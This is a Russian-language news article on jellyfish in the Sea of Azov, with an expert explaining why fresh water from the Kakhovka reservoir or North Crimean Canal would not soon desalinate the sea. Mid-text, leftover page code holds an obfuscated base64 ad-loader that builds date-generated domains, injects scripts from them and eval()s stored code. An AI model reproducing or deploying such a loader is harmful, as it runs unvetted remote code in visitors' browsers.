Последние несколько сезонов на побережье Азовского моря ознаменовались нашествием медуз, которые отпугнули украинцев от отечественных курортов и погрузили последних в пучину серьезного кризиса. Учитывая, что главная причина аномального количества этих существ в Азове — его увеличившаяся соленость, одним из решений, предложенных профильной областной комиссией, могло бы стать опреснение моря путем слива воды из каналов Каховского водохранилища в Молочный лиман через сеть существующих оросительных каналов. Однако эксперты сомневаются в эффективности такого подхода, сообщает Pro.Бердянск со ссылкой на профильное издание «Старый Азов».
Об этом, в частности, заявил заведующий кафедрой экологии, общей биологии и рационального природопользования МГПУ, доктор географических наук, доцент Владимир Воровка в эксклюзивном комментарии изданию «Старый Азов». Главной преградой он назвал относительно низкую пропускную способность существующей сети оросительных каналов.
«Слив пресной воды из каналов в море ничего не даст. Это капля в море. Объемы воды несопоставимы. Да и насколько я знаю, из канала, расположенного возле Мелитополя, воду и так спускают в реку Молочную, а значит, и в лиман Молочный. Но это не помогает опреснить даже лиман, не то что море. Соленость моря не падает, а потому надеяться, что медуз не будет, не стоит. Очевидно, что нужно защищать пляжи сетками», — считает Владимир Петрович.
Однако если более полно использовать дебит Каховского водохранилища или Северо-Крымского канала (СКК), повлиять на соленость Азовского моря теоретически можно. Но вот обойтись реализация такого решения может в круглую сумму. Так, количество воды, которое может давать Северо-Крымский канал даже без учета объемов, необходимых для орошения Херсонской области, превышает 300 кубометров в секунду, что соответствует порядку дебита крупной реки.
Но доставить эти кубометры в Молочный лиман можно только с помощью нового канала: построенного полностью с нуля, который будет идти напрямую, длиной около 120 км, или достроенного как продолжение Северо-Крымского канала. Это первый нюанс. И второй: Азовское море и Молочный лиман сообщаются не так активно, и первых реальных результатов опреснения можно ждать годами. Как это поначалу было с самим СКК.
Поэтому если и решать проблему засоления моря путем сброса пресной воды в лиман, то лучше выбрать Утлюкский. Например, в окрестностях Геническа.
«Северо-Крымский канал давал воду Сивашу, а объемы Сиваша и моря несопоставимы. Да, сток из канала был значительным, потому что в Сиваш попадала вода и с орошаемых полей, и с рисовых чеков. То есть, почти вся транспортируемая по каналу вода, — комментирует Владимир Воровка. — Тогда Сиваш сильно распреснился, и даже Утлюкский лиман стал немного преснее моря. Но транспортировать воду, просто чтобы сливать ее для опреснения моря – это государственная политика, область на нее повлиять не может. Если кто-то сможет профинансировать такой проект, то почему бы и нет? Но для этого нужно вырыть канал от Перекопа до Азовского моря. Кто это будет делать?».
Утлютский лиман. Фото Arabatka.ua
Но даже если бы реализовать доставку пресной воды в Молочный лиман было легко, или если предположить, что СКК снова заработает (хотя об этом речь вообще не идет), на существенное опреснение моря, которое бы лишило его привлекательности для медуз, все равно рассчитывать не приходится. По крайней мере в ближайшие несколько лет.
Прежде всего потому, что для этого сначала придется опреснить Молочный лиман и Сиваш, которые значительно солонее моря. При этом разница в уровне солености между морем и Утлюкским лиманом гораздо меньше, а сообщаются они намного активнее. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
«Да, в Крым в ближайшее время воду не дадут. И солей, которые нужно вынести в море, в Сиваше накопилось очень много. Напомню, что Сиваш распреснялся с 1976 года, когда был запущен СКК. А эффект опреснения появился лишь в 90-е. Вот и считайте, сколько нужно времени», — объясняет эксперт.
Однако реализация любого из вариантов, как ни крути, должна проводиться на государственном уровне. Силами одних только регионов не обойтись. К тому же, каждый из них не предполагает скорого решения проблемы. На это могут понадобиться годы.
Также помимо сброса воды в лиманы высказываются предположения и возможности сброса воды непосредственно в море:
«В случае строительства нового канала от Каховского водохранилища до Азовского моря и его заливов потенциально эффективным маршрутом доставки воды может стать также направление Васильевка-Приморский Посад. В этом случае, во-первых, длина канала окажется близкой к минимуму, а эффективному и более быстрому распреснению подвергнется более широкая площадь украинских курортов, включая, в первую очередь Приморск, Бердянск и Бердянскую косу. Но, конечно же, это огромные инвестиции, которые недоступны даже на областном уровне, не говоря уже о местных громадах», — дополнил коллегу главред медиа-проекта «Бердянск» Евгений Смельчаков.
Медузы в Кирилловке не давали спокойно купаться отдыхающим почти все лето 2021 года. Фото Акцент
В редакции «Старого Азова» отметили, что курорты Азовского моря не единственные, кто понес ущерб от небывалого количества медуз. В прошлом году, ближе к концу сезона, они портили отдых и гостям черноморских локаций. В августе сообщения о нашествии этих желеобразных существ поступали из Крыма, а уже осенью они достигли пляжей Одессы.
Отметиться медузы успели и на курортах Средиземного моря. Хотя на местных пляжах стоят защитные сетки, которые благодаря особенностям структуры дна хорошо работают, в отличие от Азовского моря, и медуз там никто не видел — зато ощущал. Отдыхающие на пляжах Средиземноморья минувшей осенью отмечали жжение кожи после купания. Вероятная причина — выделяемые стрекающими токсичные вещества.
Очевидно, что проблема с непривычно большим количеством медуз, которые докучают отдыхающим и рушат курортный бизнес, близка не только Украине, она глобальна. В связи с этим любопытно, какими методами ее будут решать в разных странах, и какие из них окажутся действенными. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/voda-kahovskogo-vodohranilishha-ne-pomozhet-opresnit-azovskoe-more-i-izbavit-ego-ot-meduz-ekspert/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
